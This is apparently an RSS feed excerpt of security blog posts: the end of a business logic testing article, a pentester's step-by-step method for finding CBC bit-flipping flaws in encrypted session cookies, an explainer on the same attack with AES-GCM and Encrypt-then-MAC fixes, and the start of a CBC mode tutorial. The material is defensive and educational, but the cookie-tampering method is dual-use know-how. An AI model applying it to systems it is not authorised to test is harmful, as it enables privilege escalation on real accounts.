&lt;p&gt;A scanner sees:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Transfer Request
Status: 200 OK
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Looks fine.&lt;/p&gt;

&lt;p&gt;A human tester asks:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Should this transfer have been allowed at all?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That's where business logic testing begins.&lt;/p&gt;




&lt;h2&gt;
  
  
  Questions Security Testers Should Ask
&lt;/h2&gt;

&lt;p&gt;When reviewing a banking application, ask:&lt;/p&gt;

&lt;h3&gt;
  
  
  Authentication
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Can workflows be completed without all required checks?&lt;/li&gt;
&lt;li&gt;Can verification steps be skipped?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Beneficiary Management
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Can ownership be changed?&lt;/li&gt;
&lt;li&gt;Can waiting periods be bypassed?&lt;/li&gt;
&lt;li&gt;Can deleted beneficiaries still be used?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Fund Transfers
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Are limits enforced globally?&lt;/li&gt;
&lt;li&gt;Are limits enforced per transaction only?&lt;/li&gt;
&lt;li&gt;Can requests be replayed?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Bill Payments
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Can rewards be abused?&lt;/li&gt;
&lt;li&gt;Can refunds be manipulated?&lt;/li&gt;
&lt;li&gt;Can duplicate payments create unintended outcomes?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These questions uncover issues that automated tools often miss.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real-World Signs of Business Logic Weaknesses
&lt;/h2&gt;

&lt;p&gt;Watch for:&lt;/p&gt;

&lt;p&gt;✅ Hidden workflows&lt;/p&gt;

&lt;p&gt;✅ Alternate API endpoints&lt;/p&gt;

&lt;p&gt;✅ Missing approval checks&lt;/p&gt;

&lt;p&gt;✅ Inconsistent validation&lt;/p&gt;

&lt;p&gt;✅ Reward systems&lt;/p&gt;

&lt;p&gt;✅ Multi-step transactions&lt;/p&gt;

&lt;p&gt;✅ Financial calculations&lt;/p&gt;

&lt;p&gt;The more complex the workflow, the larger the attack surface.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Organizations Defend Against Business Logic Attacks
&lt;/h2&gt;

&lt;p&gt;Strong defenses include:&lt;/p&gt;

&lt;h3&gt;
  
  
  Server-Side Validation
&lt;/h3&gt;

&lt;p&gt;Never trust UI restrictions.&lt;/p&gt;

&lt;p&gt;Every rule must be verified on the server.&lt;/p&gt;

&lt;h3&gt;
  
  
  Threat Modeling
&lt;/h3&gt;

&lt;p&gt;Ask:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"How could a malicious user misuse this feature?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;before deployment.&lt;/p&gt;

&lt;h3&gt;
  
  
  Workflow Testing
&lt;/h3&gt;

&lt;p&gt;Test entire business processes instead of isolated endpoints.&lt;/p&gt;

&lt;h3&gt;
  
  
  Abuse Case Reviews
&lt;/h3&gt;

&lt;p&gt;Most teams create use cases.&lt;/p&gt;

&lt;p&gt;Elite security teams create abuse cases.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Use Case:
User transfers money.

Abuse Case:
Attacker attempts 500 small transfers.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The second question often reveals the real risk.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Business logic attacks are dangerous because nothing appears broken.&lt;/p&gt;

&lt;p&gt;The login works.&lt;/p&gt;

&lt;p&gt;The transfer works.&lt;/p&gt;

&lt;p&gt;The payment works.&lt;/p&gt;

&lt;p&gt;Everything works.&lt;/p&gt;

&lt;p&gt;That's exactly the problem.&lt;/p&gt;

&lt;p&gt;Attackers don't always need technical vulnerabilities. Sometimes they only need a workflow that trusts users more than it should.&lt;/p&gt;

&lt;p&gt;The next time you're reviewing a banking application, don't just ask:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Can this feature be hacked?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ask:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Can this feature be abused?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That single question uncovers vulnerabilities that scanners, checklists, and even experienced developers frequently miss.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Have you ever encountered a business logic flaw during a security assessment? Share your experience in the comments—it's often the most interesting vulnerability in the entire application.&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>testing</category>
      <category>webdev</category>
      <category>cybersecurity</category>
      <category>bugbounty</category>
    </item>
    <item>
      <title>The Pentester’s Guide to Finding CBC Bit Flipping Vulnerabilities</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Wed, 17 Jun 2026 07:36:33 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/the-pentesters-guide-to-finding-cbc-bit-flipping-vulnerabilities-50n3</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/the-pentesters-guide-to-finding-cbc-bit-flipping-vulnerabilities-50n3</guid>
      <description>&lt;p&gt;If you spend enough time poking at web applications, you’ll eventually run into a target that handles session management poorly. You’ll intercept a request, look at the cookie, and see a massive, encrypted string.&lt;/p&gt;

&lt;p&gt;For a lot of testers, encrypted state data is a dead end. If you can’t read it, you move on.&lt;/p&gt;

&lt;p&gt;But if that application is relying on CBC (Cipher Block Chaining) mode without implementing an integrity check (like a MAC), that encrypted cookie isn't a dead end. It’s an attack vector.&lt;/p&gt;

&lt;p&gt;Here is a practical, step-by-step methodology for testing web applications for CBC bit flipping vulnerabilities safely and effectively.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Methodology: How to Test for Bit Flipping
&lt;/h3&gt;

&lt;p&gt;Testing for this flaw requires a mix of cryptography knowledge and standard web manipulation. You aren't trying to crack the encryption key; you are intentionally corrupting the ciphertext in transit to see how the backend application reacts to the resulting corrupted plaintext.&lt;/p&gt;

&lt;h4&gt;
  
  
  1. Capture the Encrypted Cookie
&lt;/h4&gt;

&lt;p&gt;First, you need to isolate the target data. Route your traffic through an intercepting proxy like Burp Suite or OWASP ZAP. Look for session identifiers, &lt;code&gt;auth&lt;/code&gt; tokens, or state parameters that look like encrypted blobs.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Hint: If the application uses a recognizable format like JWT, this attack likely doesn't apply (JWTs have built-in signature verification). You are looking for opaque, proprietary encrypted strings.&lt;/em&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Decode the Transport Format
&lt;/h4&gt;

&lt;p&gt;Ciphertext is raw binary, which doesn't travel well over HTTP. Developers almost always encode it. Before you can manipulate the blocks, you need to strip away the transport encoding.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Is it Base64 encoded? (Look for &lt;code&gt;==&lt;/code&gt; padding at the end).&lt;/li&gt;
&lt;li&gt;Is it Hex encoded? (Look for strings of &lt;code&gt;0-9&lt;/code&gt; and &lt;code&gt;A-F&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Is it URL encoded? (Look for &lt;code&gt;%&lt;/code&gt; symbols).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Decode the string down to its raw bytes. If you try to flip bits on a Base64 string directly, you'll break the encoding itself, not the underlying ciphertext.&lt;/p&gt;

&lt;h4&gt;
  
  
  3. Identify the Block Boundaries
&lt;/h4&gt;

&lt;p&gt;AES operates on strict 16-byte (128-bit) blocks. Once you have the raw ciphertext, conceptually divide it into 16-byte chunks.&lt;/p&gt;

&lt;p&gt;If the cookie is exactly 32 bytes, you have two blocks. If it's 48 bytes, you have three.&lt;br&gt;
The core mechanic of CBC bit flipping is that &lt;strong&gt;modifying a byte in Block N will alter the corresponding decrypted byte in Block N+1&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;If you suspect the sensitive data (like &lt;code&gt;role=user&lt;/code&gt;) is in the second block, you need to target your modifications at the &lt;em&gt;first&lt;/em&gt; block.&lt;/p&gt;

&lt;h4&gt;
  
  
  4. Modify the Ciphertext (The Flip)
&lt;/h4&gt;

&lt;p&gt;This is where the magic happens.&lt;/p&gt;

&lt;p&gt;To systematically test the application, you alter a single byte in the ciphertext block preceding your target block.&lt;/p&gt;

&lt;p&gt;If you know the exact plaintext structure (e.g., you know the cookie format is exactly &lt;code&gt;userid=123;role=user&lt;/code&gt;), you can use XOR math to calculate exactly which byte to flip to change &lt;code&gt;user&lt;/code&gt; to &lt;code&gt;admi&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If you &lt;em&gt;don't&lt;/em&gt; know the plaintext structure—which is common in black-box testing—you have to fuzz it. Systematically alter bytes one by one in the target block.&lt;/p&gt;

&lt;h4&gt;
  
  
  5. Replay the Request
&lt;/h4&gt;

&lt;p&gt;Re-encode your modified ciphertext (e.g., back into Base64, then URL encoding) and inject it back into the cookie header. Forward the modified request to the server.&lt;/p&gt;

&lt;h4&gt;
  
  
  6. Observe Application Behavior
&lt;/h4&gt;

&lt;p&gt;The server is going to decrypt your modified cookie. Because you altered the previous block, the decrypted plaintext for the current block will be scrambled.&lt;/p&gt;

&lt;p&gt;You need to observe how the application reacts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Authorization Change:&lt;/strong&gt; Did you suddenly gain access to an admin panel or another user's account? (Bingo. Successful exploit).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Application Errors (500 Internal Server Error):&lt;/strong&gt; The application decrypted the data, but the resulting plaintext was garbage (e.g., &lt;code&gt;role=x$9p&lt;/code&gt;), causing a database lookup to fail or a parsing error. This is a strong indicator that the application is vulnerable to tampering, even if your specific payload didn't grant access.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Silent Failure/Logout:&lt;/strong&gt; The application might redirect you to the login screen. It either successfully parsed your broken string and couldn't find a matching session, or it &lt;em&gt;did&lt;/em&gt; have an integrity check (like a MAC) that caught your tampering and killed the session.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Common False Positives
&lt;/h3&gt;

&lt;p&gt;When hunting for this, it is easy to misinterpret the server's response. Watch out for these traps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Padding Oracles:&lt;/strong&gt; If you modify the very &lt;em&gt;last&lt;/em&gt; block, or modify bytes that result in invalid PKCS#7 padding, the server might throw a specific cryptographic error. This is a Padding Oracle vulnerability—which is great—but it is a different attack than pure bit flipping.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WAF Interventions:&lt;/strong&gt; If you flip a byte and the resulting decrypted plaintext happens to contain characters like &lt;code&gt;'&lt;/code&gt; or &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;, a Web Application Firewall might block the request. You might see a 403 Forbidden and assume the crypto caught you, but it was actually the WAF catching the garbage output.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Format Exceptions:&lt;/strong&gt; Just because the server throws a 500 error doesn't mean you can successfully exploit it for privilege escalation. Sometimes, the data structure is so rigid that any flipped bit breaks the application logic before it can be exploited.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The Golden Rule: Safe Testing Methodology
&lt;/h3&gt;

&lt;p&gt;When testing production systems for bug bounties or client pentests, tread lightly.&lt;br&gt;
Bit flipping corrupts data. If the application writes that decrypted, corrupted state back into a database, you could permanently break your test account (or worse, impact other systems).&lt;/p&gt;

&lt;p&gt;Always conduct these tests using accounts you own and control. Start by flipping a single, low-impact bit and monitoring the exact HTTP response. Don't run an automated script that fires 10,000 modified cookies at a production endpoint without understanding how the backend handles the garbage data you are generating.&lt;/p&gt;

&lt;p&gt;Finding a CBC bit-flipping flaw is incredibly satisfying. It proves that you went beyond the surface-level web vulnerabilities and broke the underlying logic of the application's trust model.&lt;/p&gt;

</description>
      <category>bugbounty</category>
      <category>webtesting</category>
      <category>cryptography</category>
      <category>websecurity</category>
    </item>
    <item>
      <title>CBC Bit Flipping Explained: Why Encryption Alone Doesn't Guarantee Integrity</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Wed, 17 Jun 2026 05:25:44 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/cbc-bit-flipping-explained-why-encryption-alone-doesnt-guarantee-integrity-5aje</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/cbc-bit-flipping-explained-why-encryption-alone-doesnt-guarantee-integrity-5aje</guid>
      <description>&lt;p&gt;Most developers learn a hard lesson at some point in their careers: just because data is encrypted doesn't mean it’s safe from tampering.&lt;/p&gt;

&lt;p&gt;It’s an easy trap to fall into. If an attacker doesn't have the secret key, they can't read the data. And if they can't read it, how could they possibly modify it to do something malicious?&lt;/p&gt;

&lt;p&gt;But cryptography is unforgiving, and it treats secrecy and integrity as two entirely separate jobs. This exact misunderstanding is what makes the CBC (Cipher Block Chaining) Bit Flipping attack possible.&lt;/p&gt;

&lt;p&gt;Here is a look at how an attacker can manipulate encrypted data without ever knowing the secret key.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Problem with Chaining Blocks
&lt;/h3&gt;

&lt;p&gt;To understand the attack, you have to look at how CBC mode actually processes data.&lt;/p&gt;

&lt;p&gt;When you use AES, it doesn't encrypt your file as one massive chunk. Instead, it chops the data into 16-byte blocks. In CBC mode, these blocks are cryptographically chained together to hide patterns. The encrypted output of the first block gets mathematically mixed into the plaintext of the second block before &lt;em&gt;it&lt;/em&gt; gets encrypted, and so on down the line.&lt;/p&gt;

&lt;p&gt;It’s a clever way to keep data confidential. But it introduces a structural quirk during decryption.&lt;/p&gt;

&lt;p&gt;When a server receives the data and decrypts it, the process works in reverse. To figure out the original plaintext of Block 2, the server decrypts it, and then combines it with the encrypted ciphertext of Block 1.&lt;/p&gt;

&lt;p&gt;Because the previous encrypted block dictates the final output of the next block, attackers have a way in.&lt;/p&gt;

&lt;h3&gt;
  
  
  Blind Tampering
&lt;/h3&gt;

&lt;p&gt;An attacker intercepts your encrypted traffic. They don't have the key, so it just looks like gibberish to them. But they know you are using CBC mode.&lt;/p&gt;

&lt;p&gt;The attacker intentionally alters a few bits in the ciphertext of Block 1 and sends the traffic along to your server.&lt;/p&gt;

&lt;p&gt;When your server decrypts the data, it processes the attacker's scrambled Block 1. Because of how the chain works, that blind alteration in Block 1 cascades directly into the math for Block 2.&lt;/p&gt;

&lt;p&gt;The attacker doesn't need to read the message. By simply flipping bits in the encrypted text, they can systematically manipulate the decrypted text that your application ultimately processes.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Session Cookie Exploit
&lt;/h3&gt;

&lt;p&gt;To see why this is dangerous, look at how older web apps handled session management.&lt;/p&gt;

&lt;p&gt;Developers used to store user state in encrypted cookies, assuming the encryption made them tamper-proof. A cookie might secretly contain a string like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;userid=994;role=user;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;An attacker logs in, gets their encrypted cookie, and intercepts it. They run a script to methodically flip bits in the ciphertext, sending thousands of requests back to the server until the server accepts one that gives them elevated access.&lt;/p&gt;

&lt;p&gt;Because the server &lt;em&gt;only&lt;/em&gt; checks if the data decrypts—and doesn't verify if it was tampered with—it blindly processes the attacker's modified data. Suddenly, that decrypted string looks like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;userid=994;role=admi;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The attacker just escalated their privileges without ever reading the cookie or knowing the encryption key.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Fix: Don't Just Encrypt, Authenticate
&lt;/h3&gt;

&lt;p&gt;The underlying flaw here isn't necessarily CBC mode itself; it’s the assumption that encryption guarantees integrity.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Confidentiality&lt;/strong&gt; keeps attackers from reading data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integrity&lt;/strong&gt; keeps attackers from altering data.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Modern cryptography solves this by bundling both together. Today, the standard approach is to use Authenticated Encryption, with &lt;strong&gt;AES-GCM&lt;/strong&gt; being the most common default.&lt;/p&gt;

&lt;p&gt;Unlike traditional CBC, AES-GCM generates a cryptographic tag—essentially a tamper-evident seal—alongside the ciphertext. When the server receives the data, it checks the seal first. If a single bit has been flipped in transit, the seal breaks, the math fails, and the server drops the data entirely before it even tries to process it.&lt;/p&gt;

&lt;p&gt;If you are forced to use CBC mode, the defense is an &lt;strong&gt;Encrypt-then-MAC&lt;/strong&gt; architecture. You encrypt the data, generate a unique authentication code (MAC) for that specific ciphertext, and verify it on the receiving end before decryption starts.&lt;/p&gt;

&lt;p&gt;The takeaway is simple: secret data isn't automatically trustworthy data. If your system relies on encrypted data to make decisions, you have to prove it hasn't been altered before you use it.&lt;/p&gt;

</description>
      <category>cryptography</category>
      <category>security</category>
      <category>bugbounty</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Understanding CBC Mode: How Block Cipher Chaining Actually Works</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Tue, 16 Jun 2026 14:50:55 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/understanding-cbc-mode-how-block-cipher-chaining-actually-works-nio</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/understanding-cbc-mode-how-block-cipher-chaining-actually-works-nio</guid>
      <description>&lt;p&gt;&lt;em&gt;The missing piece most developers never learn about AES encryption.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Encryption Is More Than Just AES
&lt;/h2&gt;

&lt;p&gt;Ask a developer what encryption algorithm their application uses, and you'll often hear:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"We use AES-256."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That's good—but incomplete.&lt;/p&gt;

&lt;p&gt;Here's the thing: &lt;strong&gt;AES alone doesn't tell the whole story.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;AES is only the encryption algorithm. To encrypt data larger than a single block, AES needs a &lt;strong&gt;mode of operation&lt;/strong&gt;. One of the most widely used modes in the past was &lt;strong&gt;CBC (Cipher Block Chaining)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Understanding CBC is important not only for developers but also for security engineers, because many cryptographic attacks—such as CBC bit flipping and padding oracle attacks—stem from how CBC works.&lt;/p&gt;

&lt;p&gt;By the end of this article, you'll understand:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What symmetric encryption is&lt;/li&gt;
&lt;li&gt;What AES actually does&lt;/li&gt;
&lt;li&gt;Why modes of operation exist&lt;/li&gt;
&lt;li&gt;How CBC encryption and decryption work&lt;/li&gt;
&lt;li&gt;The role of the Initialization Vector (IV)&lt;/li&gt;
&lt;li&gt;Why CBC has limitations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's begin from the ground up.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Is Symmetric Encryption?
&lt;/h2&gt;

&lt;p&gt;Symmetric encryption uses &lt;strong&gt;the same secret key&lt;/strong&gt; for both encryption and decryption.&lt;/p&gt;

&lt;p&gt;Think of it like a house key:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You lock the door with one key.&lt;/li&gt;
&lt;li&gt;You unlock it with the same key.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Encryption works similarly.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Plaintext + Secret Key → Ciphertext
Ciphertext + Same Key → Plaintext
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Examples of symmetric encryption algorithms:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AES&lt;/li&gt;
&lt;li&gt;DES&lt;/li&gt;
&lt;li&gt;Blowfish&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The challenge isn't just keeping the key secret.&lt;/p&gt;

&lt;p&gt;It's also encrypting data securely.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Is AES?
&lt;/h2&gt;

&lt;p&gt;AES stands for &lt;strong&gt;Advanced Encryption Standard&lt;/strong&gt; and is one of the most widely used encryption standards in the world. It uses the same secret key for encryption and decryption and supports key sizes of 128, 192, and 256 bits.&lt;/p&gt;

&lt;p&gt;You'll encounter AES in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HTTPS&lt;/li&gt;
&lt;li&gt;VPNs&lt;/li&gt;
&lt;li&gt;Disk encryption&lt;/li&gt;
&lt;li&gt;Password managers&lt;/li&gt;
&lt;li&gt;Secure messaging apps&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But AES has an important limitation.&lt;/p&gt;

&lt;p&gt;It encrypts &lt;strong&gt;fixed-size blocks&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;For AES, that block size is always:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;128 bits (16 bytes)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;And this leads us to the next concept.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Is a Block Cipher?
&lt;/h2&gt;

&lt;p&gt;A block cipher encrypts data in &lt;strong&gt;fixed-size chunks called blocks&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Imagine the message:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HELLO WORLD THIS IS A SECRET MESSAGE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;AES doesn't encrypt the whole message at once.&lt;/p&gt;

&lt;p&gt;Instead, it splits it into blocks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Block 1
Block 2
Block 3
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each block is encrypted separately.&lt;/p&gt;

&lt;p&gt;Sounds simple.&lt;/p&gt;

&lt;p&gt;But there's a problem.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Do We Need Modes of Operation?
&lt;/h2&gt;

&lt;p&gt;Suppose two blocks contain identical data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Block A = ADMIN
Block B = ADMIN
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we encrypt them independently using the same key, the ciphertext may also be identical.&lt;/p&gt;

&lt;p&gt;An attacker could start spotting patterns.&lt;/p&gt;

&lt;p&gt;And patterns are dangerous in cryptography.&lt;/p&gt;

&lt;p&gt;To solve this problem, cryptographers created &lt;strong&gt;modes of operation&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Modes define &lt;strong&gt;how blocks interact with each other during encryption&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Common modes include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ECB&lt;/li&gt;
&lt;li&gt;CBC&lt;/li&gt;
&lt;li&gt;CTR&lt;/li&gt;
&lt;li&gt;GCM&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Today we're focusing on CBC.&lt;/p&gt;




&lt;h2&gt;
  
  
  ECB vs CBC: Why CBC Was Introduced
&lt;/h2&gt;

&lt;h3&gt;
  
  
  ECB (Electronic Codebook)
&lt;/h3&gt;

&lt;p&gt;ECB encrypts every block independently:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;P1 → Encrypt → C1
P2 → Encrypt → C2
P3 → Encrypt → C3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The problem?&lt;/p&gt;

&lt;p&gt;Identical plaintext blocks produce identical ciphertext blocks. This leaks patterns in the data.&lt;/p&gt;

&lt;h3&gt;
  
  
  CBC (Cipher Block Chaining)
&lt;/h3&gt;

&lt;p&gt;CBC fixes this by linking blocks together.&lt;/p&gt;

&lt;p&gt;Each plaintext block is combined with the previous ciphertext block before encryption.&lt;/p&gt;

&lt;p&gt;As a result:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Every block depends on all previous blocks.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This greatly reduces pattern leakage.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Is an Initialization Vector (IV)?
&lt;/h2&gt;

&lt;p&gt;There's one problem.&lt;/p&gt;

&lt;p&gt;The first block has no previous ciphertext block.&lt;/p&gt;

&lt;p&gt;So what should CBC use?&lt;/p&gt;

&lt;p&gt;The answer is the &lt;strong&gt;Initialization Vector (IV)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;An IV is a random value used only for the first block. It ensures that encrypting the same plaintext twice with the same key produces different ciphertext.&lt;/p&gt;

&lt;p&gt;Important facts:&lt;/p&gt;

&lt;p&gt;✅ IV does not have to be secret&lt;/p&gt;

&lt;p&gt;✅ IV should be unique and unpredictable&lt;/p&gt;

&lt;p&gt;❌ Reusing IVs can weaken security&lt;/p&gt;

&lt;p&gt;Think of the IV as a random starting point.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real-World Analogy: Passing Secret Notes
&lt;/h2&gt;

&lt;p&gt;Imagine a chain of people passing secret notes.&lt;/p&gt;

&lt;p&gt;Each person doesn't just encrypt their message.&lt;/p&gt;

&lt;p&gt;They also mix it with the previous person's encrypted message.&lt;/p&gt;

&lt;p&gt;If one note changes, every note afterward changes too.&lt;/p&gt;

&lt;p&gt;That's exactly how CBC works.&lt;/p&gt;

&lt;p&gt;Hence the name:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cipher Block Chaining.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  How CBC Encryption Works
&lt;/h2&gt;

&lt;p&gt;CBC encryption follows this formula:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;C₁ = Encrypt(P₁ XOR IV)

C₂ = Encrypt(P₂ XOR C₁)

C₃ = Encrypt(P₃ XOR C₂)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Where:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;P = Plaintext&lt;/li&gt;
&lt;li&gt;C = Ciphertext&lt;/li&gt;
&lt;li&gt;IV = Initialization Vector&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each block depends on the previous ciphertext block.&lt;/p&gt;

&lt;h3&gt;
  
  
  Encryption Flow
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Plaintext Block 1
        ↓
XOR with IV
        ↓
AES Encrypt
        ↓
Ciphertext Block 1
        ↓
XOR with Plaintext Block 2
        ↓
AES Encrypt
        ↓
Ciphertext Block 2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A small change in one block affects all following ciphertext blocks.&lt;/p&gt;

&lt;p&gt;This property is called &lt;strong&gt;chaining&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  How CBC Decryption Works
&lt;/h2&gt;

&lt;p&gt;Decryption reverses the process.&lt;/p&gt;

&lt;p&gt;Formula:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;P₁ = Decrypt(C₁) XOR IV

P₂ = Decrypt(C₂) XOR C₁

P₃ = Decrypt(C₃) XOR C₂
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice something interesting?&lt;/p&gt;

&lt;p&gt;The previous ciphertext block is required for decryption.&lt;/p&gt;

&lt;p&gt;This design decision later enabled attacks such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CBC Bit Flipping&lt;/li&gt;
&lt;li&gt;Padding Oracle Attacks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We'll cover those in future articles.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why XOR Matters
&lt;/h2&gt;

&lt;p&gt;XOR (Exclusive OR) is one of the most important operations in cryptography.&lt;/p&gt;

&lt;p&gt;A special property of XOR:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;A XOR B XOR B = A
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This allows data to be mixed and later recovered during decryption.&lt;/p&gt;

&lt;p&gt;Without XOR, CBC would not work.&lt;/p&gt;




&lt;h2&gt;
  
  
  Advantages of CBC Mode
&lt;/h2&gt;

&lt;p&gt;CBC improved upon ECB in several ways:&lt;/p&gt;

&lt;p&gt;✅ Hides repeating patterns&lt;/p&gt;

